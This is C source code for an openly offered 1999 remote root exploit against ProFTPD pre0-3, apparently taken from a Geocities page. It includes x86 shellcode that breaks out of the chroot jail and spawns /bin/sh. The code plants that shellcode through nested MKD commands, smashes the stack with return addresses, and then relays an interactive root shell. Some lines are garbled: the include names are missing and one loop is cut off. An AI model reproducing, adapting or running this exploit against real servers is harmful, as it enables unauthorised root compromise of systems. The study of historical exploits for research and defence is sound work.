/*
* babcia padlina ltd. (poland, 17/08/99)
*
* your ultimate proftpd pre0-3 exploiting toolkit
*
* based on:
*               - adm-wuftpd by duke
*               - kombajn do czereśni by Lam3rZ (thx for shellcode!)
*
* thx and greetz.
*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


#define MAXARGLEN       64
#define MAXLINE         1024
#define ANONL           "ftp"
#define ANONP           "mozilla@"
#define INCOM           "/incoming/"
#define FTPPORT         21
#define RET             0xbffff550
#define NOP             0x90
#define ALIGN           0
#define CONTENT         "y0u ar3 n0w 0wn3d!"
#define GREEN           "\033[1;32m"
#define RED             "\033[1;31m"
#define NORM            "\033[1;39m"
#define BOLD            "\E[1m"
#define UNBOLD          "\E[m"


char *av0;
struct sockaddr_in cli;
char sendbuf[MAXLINE];


#ifdef DEBUG
FILE *phile;
#endif


long getip(name)
char *name;
{
        struct hostent *hp;
        long ip;
        extern int h_errno;


        if ((ip=inet_addr(name))==-1)
        {
                if ((hp=gethostbyname(name))==NULL)
                {
                        fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
                        exit(1);
                }
                memcpy(&ip, (hp->h_addr), 4);
        }
        return ip;
}


int readline(sockfd, buf)
int sockfd;
char *buf;
{
        int done = 0;
        char *n = NULL, *p = NULL, localbuff[MAXLINE];


        while (!done)
        {
                if (!p)
                {


                        int count;


                        bzero(localbuff, MAXLINE);


                        if ((count = read(sockfd, localbuff, MAXLINE)) < 0)
                        {
                                (void)fprintf(stderr, "IO error.\n");
                                return -1;
                        }
//
#ifdef DEBUG
                        fprintf(phile, "Received: %s", localbuff);
#endif
//


                        localbuff[count] = 0;
                        p = localbuff;
                }


                n=(char *)strchr(p, '\r');


                if (n)
                {
                        *n = 0;
                        n += 2;
                        done = 1;
                }


                bzero(buf, MAXLINE);


                strncat(buf, p, MAXLINE);
                p = n;
        }
        return 0;
}


int eatthis(sockfd, line)
int sockfd;
char *line;
{
        do
        {
                bzero(line, MAXLINE);
                if (readline(sockfd, line) < 0) return -1;
        } while (line[3] != ' ');


        return (int)(line[0] - '0');
}


int connecttoftp(host)
char *host;
{
        int sockfd;


        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_addr.s_addr=getip(host);
        cli.sin_port = htons(FTPPORT);


//
#ifdef DEBUG
        fprintf(phile, "Connecting to %s.\n", host);
#endif
//


        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                perror("socket");
                return -1;
        }


        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
        {
                perror("connect");
                return -1;
        }


//
#ifdef DEBUG
        fprintf(phile, "Connected to %s.\n", host);
#endif
//


        return sockfd;
}


int logintoftp(sockfd, login, passwd)
int sockfd;
char *login, *passwd;
{
        int result;
        char errbuf[MAXLINE];


        result = eatthis(sockfd, errbuf);


        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "USER %s\r\n", login);
        write(sockfd, sendbuf, strlen(sendbuf));


//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//


        result = eatthis(sockfd, errbuf);


        if (result < 0) return -1;
        if (result > 3)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "PASS %s\r\n", passwd);
        write(sockfd, sendbuf, strlen(sendbuf));


//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//


        result = eatthis(sockfd, errbuf);


        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        return 0;
}


int makedir(dir, sockfd)
char *dir;
int sockfd;
{
        char buf[MAXLINE], errbuf[MAXLINE], *p;
        int n, result;


        bzero(buf, MAXLINE);
        p = buf;
        for(n=0;n < strlen(dir);n++)
        {


                if(dir[n]=='\xff')
                {
                        *p='\xff';
                        p++;
                }
                *p=dir[n];
                p++;
        }


        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "MKD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));


//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//


        result = eatthis(sockfd, errbuf);


        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "CWD %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));


//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//


        result = eatthis(sockfd, errbuf);


        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        return 0;
}


int mkd(sockfd, cwd)
int sockfd;
char *cwd;
{


        char shellcode[]=
                "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
                "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
                "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
                "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
                "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
                "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
                "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
                "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
                "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
                "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67\x00";


        char buf1[MAXLINE], tmp[MAXLINE], *p, *q;


        if (makedir(cwd, sockfd) < 0) return -1;


        bzero(buf1, MAXLINE);


        memset(buf1, 0x90, 756);
        memcpy(buf1, cwd, strlen(cwd));


        p = &buf1[strlen(cwd)];
        q = &buf1[755];


        bzero(tmp, MAXLINE);


        while(p <= q)
        {
                strncpy(tmp, p, 100);
                if (makedir(tmp, sockfd) < 0) return -1;
                p+=100;
        }



        if (makedir(shellcode, sockfd) < 0) return -1;
        return 0;
}


int put(sockfd, offset, align)
int sockfd, offset, align;
{
        char buf2[MAXLINE], sendbuf[MAXLINE], tmp[MAXLINE], buf[MAXLINE],
hostname[MAXLINE], errbuf[MAXLINE], *p, *q;
        int n, sock, nsock, port, i;
        struct in_addr in;
        int octet_in[4], result;
        char *oct;
        struct sockaddr_in yo;


        bzero(buf2, MAXLINE);
        memset(buf2, NOP, 100);


        for(i=4-ALIGN-align; i<96; i+=4)
                *(long *)&buf2[i] = RET + offset;


        p = &buf2[0];
        q = &buf2[99];


        bzero(tmp, MAXLINE);
        strncpy(tmp, p, strlen(buf2));


        port=getpid()+1024;


        bzero(&yo, sizeof(yo));
        yo.sin_family = AF_INET;
        yo.sin_port=htons(port);


        bzero(buf, MAXLINE);
        p=buf;
        for(n=0;n 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) {
                perror("socket()");
                return -1;
        }


        if ((bind(sock, (struct sockaddr *) &yo, sizeof(struct sockaddr))) < 0)
        {
                perror("bind()");
                close(sock);
                return -1;
        }


        if (listen (sock,10) < 0)
        {
                perror("listen()");
                close(sock);
                return -1;
        }


        bzero(sendbuf, MAXLINE);
        sprintf(sendbuf, "STOR %s\r\n", buf);
        write(sockfd, sendbuf, strlen(sendbuf));


//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", sendbuf);
#endif
//


        result = eatthis(sockfd, errbuf);


        if (result < 0) return -1;
        if (result > 2)
        {
                fprintf(stderr, "%s\n", errbuf);
                return -1;
        }


        if ((nsock=accept(sock,(struct sockaddr *)&cli,(int *)sizeof(struct
sockaddr))) < 0)
        {
                perror("accept()");
                close(sock);
                return -1;
        }


        write(nsock, CONTENT, sizeof(CONTENT));


//
#ifdef DEBUG
        fprintf(phile, "Sending: %s", CONTENT);
#endif
//


        close(sock);
        close(nsock);


        return 0;
}


int sh(sockfd)
int sockfd;
{
        char buf[MAXLINE];
        int c;
        fd_set rf, drugi;


        FD_ZERO(&rf);
        FD_SET(0, &rf);
        FD_SET(sockfd, &rf);


        while (1)
        {
                bzero(buf, MAXLINE);
                memcpy (&drugi, &rf, sizeof(rf));
                select(sockfd+1, &drugi, NULL, NULL, NULL);
                if (FD_ISSET(0, &drugi))
                {
                        c = read(0, buf, MAXLINE);
                        send(sockfd, buf, c, 0x4);
                }


                if (FD_ISSET(sockfd, &drugi))
                {
                        c = read(sockfd, buf, MAXLINE);
                        if (c<0) return 0;
                        write(1,buf,c);
                }
        }
}


void usage(void)
{
        (void)fprintf(stderr, "usage: %s [-l login -p passwd] [-d dir] [-o
offset] [-a align] host\n", av0);
        exit(1);
}


int main(argc, argv)
int argc;
char **argv;
{
        extern int optind, opterr;
        extern char *optarg;
        int ch, aflag, oflag, lflag, pflag, dflag, offset, align, sockfd;
        char login[MAXARGLEN], passwd[MAXARGLEN], cwd[MAXLINE+1];


        (void)fprintf(stderr, "\n%sbabcia padlina ltd. proudly presents:\nyour
ultimate proftpd pre0-3 exploiting toolkit%s%s\n\n", GR
EEN, NORM, UNBOLD);


        if (strchr(argv[0], '/'))
                av0 = strrchr(argv[0], '/') + 1;
        else
                av0 = argv[0];


        opterr = aflag = oflag = lflag = pflag = dflag = 0;


        while ((ch = getopt(argc, argv, "l:p:d:o:a:")) != -1)
                switch((char)ch)
                {
                        case 'l':
                                lflag = 1;
                                strncpy(login, optarg, MAXARGLEN);
                                break;


                        case 'p':
                                pflag = 1;
                                strncpy(passwd, optarg, MAXARGLEN);
                                break;


                        case 'd':
                                dflag = 1;
                                strncpy(cwd, optarg, MAXARGLEN);
                                break;


                        case 'o':
                                oflag = 1;
                                offset = atoi(optarg);
                                break;


                        case 'a':
                                aflag = 1;
                                align = atoi(optarg);
                                break;


                        case '?':
                        default:
                                usage();
                }


        argc -= optind;
        argv += optind;


        if (argc != 1) usage();
        if (!lflag) strncpy(login, ANONL, MAXARGLEN);
        if (!pflag) strncpy(passwd, ANONP, MAXARGLEN);
        if (!dflag) sprintf(cwd, "%s%d", INCOM, getpid());
        if (!oflag) offset = 0;
        if (!aflag) align = 0;


//
#ifdef DEBUG
        phile = fopen("debug", "w");
#endif
//


        if ((sockfd = connecttoftp(*argv)) < 0)
        {
                (void)fprintf(stderr, "Connection to %s failed.\n", *argv);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }


        (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);


        if (logintoftp(sockfd, login, passwd) < 0)
        {
                (void)fprintf(stderr, "Logging in to %s (%s/%s) failed.\n",
*argv, login, passwd);
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }


        (void)fprintf(stderr, "Logged in as %s/%s. Preparing shellcode in
%s\n", login, passwd, cwd);


        if (mkd(sockfd, cwd) < 0)
        {
                (void)fprintf(stderr, "Unknown error while making
directories.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }


        (void)fprintf(stderr, "RET: %x, align: %i. Smashing stack.\n", RET +
offset, align);


        if (put(sockfd, offset, align) < 0)
        {
                (void)fprintf(stderr, "Unknown error while sending RETs.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                exit(1);
        }


        (void)fprintf(stderr, "Y0u are n0w r00t.\n");


        if (sh(sockfd) < 0)
        {
                (void)fprintf(stderr, "Connection unexpectly terminated.\n");
//
#ifdef DEBUG
                fclose(phile);
#endif
//
                close(sockfd);
                exit(1);
        }
//
#ifdef DEBUG
        fclose(phile);
#endif
//
        exit(0);
}

    Source: geocities.com/f173s